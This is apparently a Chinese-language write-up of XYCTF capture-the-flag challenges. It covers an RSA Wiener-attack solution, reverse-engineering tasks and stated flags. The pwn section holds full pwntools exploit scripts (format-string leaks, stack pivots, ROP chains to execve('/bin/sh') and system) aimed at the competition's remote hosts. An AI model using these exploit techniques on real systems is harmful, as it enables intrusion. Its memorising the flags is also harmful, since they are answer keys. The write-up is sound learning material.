misc
签到
没啥好说的flag:XYCTF{WELCOME_TO_XYCTF}
TCPL
根据题目提示:运行就会有flag
下载附件用IDA反汇编得知,该程序不是amd64架构的程序,而是RISC-V架构的程序。
接下来就使用qemu和在Ubuntu上搭建RISC-V交叉编译的环境,运行该程序即可得到flag
运行得到flag:FLAG{PLCT_An4_r1SCv_x1huann1},再根据题目要求把1变成0
最终得到flag:FLAG{PLCT_An4_r0SCv_x0huann0}
crypto
factor1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import gmpy2import hashlibfrom Crypto.Util.number import *p = getPrime(512 ) q = getPrime(512 ) d = getPrime(512 ) e = gmpy2.invert(d, (p**3 - 1 ) * (q**3 - 1 )) flag = "XYCTF{" + hashlib.md5(str (p + q).encode()).hexdigest() + "}" print (e)print (p * q)
1 2 3 使用n**3次方用维纳攻击去打可以得到d # 就知道了N、e可以用连分数法求d # 知道e、n、d就可以分解p和q,然后就可以得到flag
求d
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import gmpy2import libnumdef continuedFra (x, y ): """计算连分数 :param x: 分子 :param y: 分母 :return: 连分数列表 """ cf = [] while y: cf.append(x // y) x, y = y, x % y return cf def gradualFra (cf ): """计算传入列表最后的渐进分数 :param cf: 连分数列表 :return: 该列表最后的渐近分数 """ numerator = 0 denominator = 1 for x in cf[::-1 ]: numerator, denominator = denominator, x * denominator + numerator return numerator, denominator def solve_pq (a, b, c ): """使用韦达定理解出pq,x^2−(p+q)∗x+pq=0 :param a:x^2的系数 :param b:x的系数 :param c:pq :return:p,q """ par = gmpy2.isqrt(b * b - 4 * a * c) return (-b + par) // (2 * a), (-b - par) // (2 * a) def getGradualFra (cf ): """计算列表所有的渐近分数 :param cf: 连分数列表 :return: 该列表所有的渐近分数 """ gf = [] for i in range (1 , len (cf) + 1 ): gf.append(gradualFra(cf[:i])) return gf def wienerAttack (e, n ): """ :param e: :param n: :return: 私钥d """ cf = continuedFra(e, n) gf = getGradualFra(cf) for d, k in gf: if k == 0 : continue if (e * d - 1 ) % k != 0 : continue phi = (e * d - 1 ) // k p, q = solve_pq(1 , n - phi + 1 , n) if p * q == n: return d n= 99075185389443078008327214328328747792385153883836599753096971412377366865826254033534293886034828804219037466246175526347014045811852531994537520303063113985486063022444972761276531422538694915030159420989401280012025249129111871649831185047820236417385693285461420040134313833571949090757635806658958193793 e= 172005065945326769176157335849432320425605083524943730546805772515111751580759726759492349719668775270727323745284785341119685198468883978645793770975366048506237371435027612758232099414404389043740306443065413069994232238075194102578269859784981454218948784071599231415554297361219709787507633404217550013282713899284609273532223781487419770338416653260109238572639243087280632577902857385265070736208291583497988891353312351322545840742380550393294960815728021248513046077985900158814037534487146730483099151396746751774427787635287611736111679074330407715700153025952858666841328055071403960165321273972935204988906850585454805923440635864200149694398767776539993952528995717480620593326867245714074205285828967234591508039849777840636255379730281105670496110061909219669860172557450779495125345533232776767292561378244884362014224844319802810586344516400297830227894063759083198761120293919537342405893653545157892446163 c= 30443384983816710270001651296607959522389400057103143909277631290995899073895621701281106228069835965181342091582584186637031613250922961166298411359757600825556083868477673357860585539016515776933117915504873987178857740106223631465737111746470236003857656528610755145017342412306680097140732745012583119076 n=n**3 print (n)d=wienerAttack(e, n) print (d)
分解p、q(用Sage)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 n=99075185389443078008327214328328747792385153883836599753096971412377366865826254033534293886034828804219037466246175526347014045811852531994537520303063113985486063022444972761276531422538694915030159420989401280012025249129111871649831185047820236417385693285461420040134313833571949090757635806658958193793 e=172005065945326769176157335849432320425605083524943730546805772515111751580759726759492349719668775270727323745284785341119685198468883978645793770975366048506237371435027612758232099414404389043740306443065413069994232238075194102578269859784981454218948784071599231415554297361219709787507633404217550013282713899284609273532223781487419770338416653260109238572639243087280632577902857385265070736208291583497988891353312351322545840742380550393294960815728021248513046077985900158814037534487146730483099151396746751774427787635287611736111679074330407715700153025952858666841328055071403960165321273972935204988906850585454805923440635864200149694398767776539993952528995717480620593326867245714074205285828967234591508039849777840636255379730281105670496110061909219669860172557450779495125345533232776767292561378244884362014224844319802810586344516400297830227894063759083198761120293919537342405893653545157892446163 d=8447122254265361577759220083550460887840558233627984117576685838469227480934556534673167325385487344741530262745308367064419215281251764917289925433582347 b = e * d - 1 while (b % 2 == 0): b = b /2 else: t = int(b) a = 2 while (a < n): x = power_mod(a, t, n) - 1 d = gcd (x,n) a += 1 if (d != 1) and (d != n): p = d q = n // d print(d) print(n // d) break
得到flag
1 2 3 4 5 6 7 8 import gmpy2import hashlibfrom Crypto.Util.number import *p = 10754959493573546439510276829300246769373124436128170955050379041986504869221750743052397622171703140881050431144683659643071578143360949942206693325622779 q = 9212046353930376594996890089494718736894378991991381248242532319628627449681664076081705664941905594411935750003102856235503684466394327681725704255564467 flag = "XYCTF{" + hashlib.md5(str (p + q).encode()).hexdigest() + "}" print (flag)
PWN
baby_gift(复现)
先查看一下这个程序的保护机制:发现没有开启PIE
和canary
直接反使用IDA pro
反编译该程序,先查看main
函数,main
函数就这两个自定义函数
再来查看Menu
函数,这个函数就输入输出初始化一下,然后输入Login...
接下来查看GetInfo
函数,发现是先向s
输入32
字节,再向v2
输入64
字节,当向v2
输入字节的时候会发生栈溢出。
这里还注意到一个地方就是Gift
这边,像这种很显然给的是汇编代码
这段汇编会将rdi
的值保存在[rbp-8]
这个栈地址中
很显然,这边是一个ret2libc
的题目,接下来我们动态调试一下,查看mov [rbp+var8],rdi
具体是什么作用。先不用管这个地方,先来泄露一下libc
的地址。
我们先使用Ropgadget
查看一下gadget
,这时我们会发现一个问题,就是没有pop rdi
这个汇编代码
这时我们就需要使用printf
这个格式化字符串漏洞来进行libc地址的泄露,这里在调用printf
函数的时候还需要注意一点就是rax
需要为0
。在我们进行第一次栈溢出的同时还要进行栈迁移,这样之后我们才能更好的布置栈帧。
所以我们第一次输入的内容随便输入即可,而第二次输入的内容就要使用格式化字符串%p
泄露地址(具体是多少偏移还需要再确定一下)
然后来查看一下汇编指令,这边注意到有leave
就可以进行栈迁移,所以我们在覆盖rbp
的时候就要先进行一次栈迁移。之后覆盖返回地址到0x401274
这边,这样我们就可以进行格式化字符串泄露libc地址(对于rdi
寄存器在lea rax,[rbp+var_20]
、mov rdi,rax
这边就已经确定了rdi
为我们第二次输入的栈地址)
此时我们使用%7$p
泄露的就是__libc_start_call_main+128
的地址
现在泄露了libc地址,我们就可以在libc中找gadget
了,并且我们已经进行了栈迁移,所以布置栈帧就没有什么难度了,这边还要注意一下栈对齐,所以我们在寻找栈迁移的时候要选择0xXXXX8
以0x8
结尾的地址,因为我们只有0x40
字节的输入,不能再填入ret
的地址进行栈对齐。这时system("/bin/sh")
还会出现问题,所以直接打ogg
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(log_level='debug' ) p = remote('gz.imxbt.cn' ,20040 ) payload = b'a' p.sendline(payload) bss_addr = 0x404528 mov_rax = 0x401274 payload2 = b'%7$p' +b'a' *0x1c + p64(bss_addr) + p64(mov_rax) pause() p.sendline(payload2) p.recvuntil(b'Your passwd:\n' ) libc_start = p.recvline()[:14 ] print ('libc--->' ,libc_start)libc_start = int (libc_start,16 ) libc_addr = libc_start - 0x29D90 pop_rdi = libc_addr + 0x2a3e5 sys_addr= libc_addr + 0x50D70 sh_addr = libc_addr + 0x1D8678 ret = 0x29139 +libc_addr ogg = libc_addr + 0xebc81 payload3 = b'a' *0x20 payload3+=p64(bss_addr-0x20 ) + p64(ogg) p.sendline(payload3) p.interactive()
malloc_flag(复现)
实际上flag已经保存在了之前申请的那块堆里,了解一下堆的申请机制就可以知道应该怎样得到flag了
static_link
看给的文件,很大没有没有给libc库,静态编译的题目,IDA反汇编后也给了提示,这边Syscall函数不能再IDA左边的函数框中直接搜索出来,要在代码段中才能搜索出来。因为这边没有单纯的Syscall系统调用,只有给定系统调用号后再syscall的一些函数。
发现没有/bin/sh字串,要调用系统函数写入可写段。
思路:栈溢出,构造rop链,syscall,写入/bin/sh,再构造rop链,syscall得到shell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *io = remote('xyctf.top' ,55519 ) context.arch = 'amd64' context.os = 'Linux' context.endian = 'little' context.log_level = 'debug' e = ELF('./vuln' ) over_flow = b'a' *0x28 pop_rdi_ret = 0x401f1f pop_rsi_ret = 0x409f8e pop_rax_ret = 0x447fe7 pop_rdx_ret = 0x451322 bin_sh_addr = 0x4CC618 payload = over_flow syscall_addr = 0x47302C payload += p64(pop_rax_ret) +p64(0 ) + p64(pop_rdi_ret)+ p64(0 )+ p64(pop_rsi_ret) + p64(bin_sh_addr) + p64(pop_rdx_ret) +p64(8 ) + p64(syscall_addr) payload += p64(pop_rax_ret) + p64(0x3b ) +p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(pop_rsi_ret) + p64(0 ) + p64(pop_rdx_ret) +p64(0 ) + p64(syscall_addr) io.sendlineafter(b'static_link? ret2??\n' ,payload) io.send(b'/bin/sh\x00' ) io.interactive()
hello_world
查看源文件的rop链,发现vuln文件没有rop链,然后再查看libc.so库发现有rop链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context.os = 'Linux' context.arch = 'amd64' context.endian = 'little' context.log_level = 'debug' io = remote('xyctf.top' ,41372 ) e = ELF('./vuln' ) libc1 = ELF('./libc.so.6' ) libc2 = ELF('./ld-linux-x86-64.so.2' ) pop_rdi_ret = 0x2a3e5 bin_addr = 0x1D8678 sys_addr = 0x50D8B io.sendlineafter(b'please input your name:' , b'a' *0x27 ) io.recvuntil(b"\n" ) libc_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) print ('libc' ,hex (libc_addr))libc_addr = libc_addr - 0x29D90 bin_addr = libc_addr + bin_addr pop_rdi_ret = libc_addr + pop_rdi_ret sys_addr = sys_addr + libc_addr print (hex (libc_addr))print (hex (bin_addr))print (hex (pop_rdi_ret))print (hex (sys_addr))over_flow = b'a' *0x28 + p64(pop_rdi_ret)+ p64(bin_addr) + p64(sys_addr) io.sendlineafter(b'please input your name:' ,over_flow) io.interactive()
guestbook1(复现)
我们先来check
以下该程序,发现没有开启pie
也没有开启Canary
和开启了部分RELRO
保护
现在我们再来查看一下反编译后的代码main
函数就没什么好说的了,就是一个初始化输入输出和调用GuestBook
函数
接下来查看GuestBook
函数,这里存在数组越界的问题,而且这里id[32]
刚好可以修改rbp
地址中的最后一个字节,存在off-by-one
的漏洞
这边动态调试可以看到,当我对id[32]
进行输入之前rbp
的所指向地址里面的值最后一字节为0x30
而之后会发生两次栈迁移,第一次是将要退出GuestBook
函数的时候
所以我们将name[index]
的值都写入backdoor_addr
就有机会通过ret
返回到backdoor
,这里注意在进行off-by-one
的时候,由于栈对齐的原因,需要修改为0x8
结尾的栈地址,才能getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(log_level='debug' ) p = remote('gz.imxbt.cn' ,20049 ) def msg (index,name,id1 ): p.sendline(str (index).encode('utf-8' )) p.sendline(name) p.sendline(str (id1).encode('utf-8' )) for i in range (33 ): msg(i,p64(0x401323 )+p64(0x401323 ),0x8 ) pause() p.sendline(b'-1' ) p.interactive()
re
聪明的信使
IDA反汇编,查看代码,发现是简单的凯撒密码,偏移量为9
得到flag:flag{Y0u_KnOw_Crypt0_14_v3ry_Imp0rt@nt!}
喵喵喵的flag碎了一地
根据提示找flag,字串找,函数找,第三个提示在所找的第二个函数里面
根据提示:交叉引用,到汇编界面,点击交叉引用处跳转
得到flag:flag{My_fl@g_h4s_br0ken_4parT_Bu7_You_c@n_f1x_1t!}